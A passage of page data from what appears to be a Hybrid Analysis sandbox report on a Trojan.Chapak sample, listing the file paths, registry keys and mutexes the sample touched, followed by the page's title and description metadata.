indows\\Temporary Internet Files\\Content.IE5\\CP53U0VR\\divx[1].htm","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\security.config.cch.new","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config.cch.new","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"C:\\Users\\ESYEmrQ","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\enterprisesec.config.cch.new","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%TEMP%\\XvidCodec","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\SysWOW64\\shdocvw.dll","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\SysWOW64\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\SysWOW64\\timeout.exe","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\timeout.exe.mui","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\RESTARTMANAGER\\SESSION0000\\","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"key":"HKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\RESTARTMANAGER\\","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\FUSION\\GACCHANGENOTIFICATION\\DEFAULT\\","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"Local\\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"Local\\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]}]}},"report_ids":{"sandbox_job_ids":["5af935237ca3e157f119fbd4"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Chapak Sample 45ec873ef2ea… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 45ec873ef2ea…. Malware family: Trojan.Chapak. Threat score 100/100. 9/27 AV engines flagged this file. 14 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/45ec873ef2eae68742b8d1942932490551bce4c9edfc7d15fb1e01f7dca9dfe4"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Chapak Sample 45ec873ef2ea… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 45ec873ef2ea…. Malware family: Trojan.Chapak. Threat score 100/100. 9/27 AV engines flagged this file. 14 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/45ec873ef2eae68742b8d1942932490551bce4c9edfc7d15fb1e01f7dca9dfe4"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Chapak Sample 45ec873ef2ea… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 45ec873ef2ea…. Malware family: Trojan.Chapak. Threat score 100/100. 9/27 AV engines flagged this file. 14 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L39","11",{}]]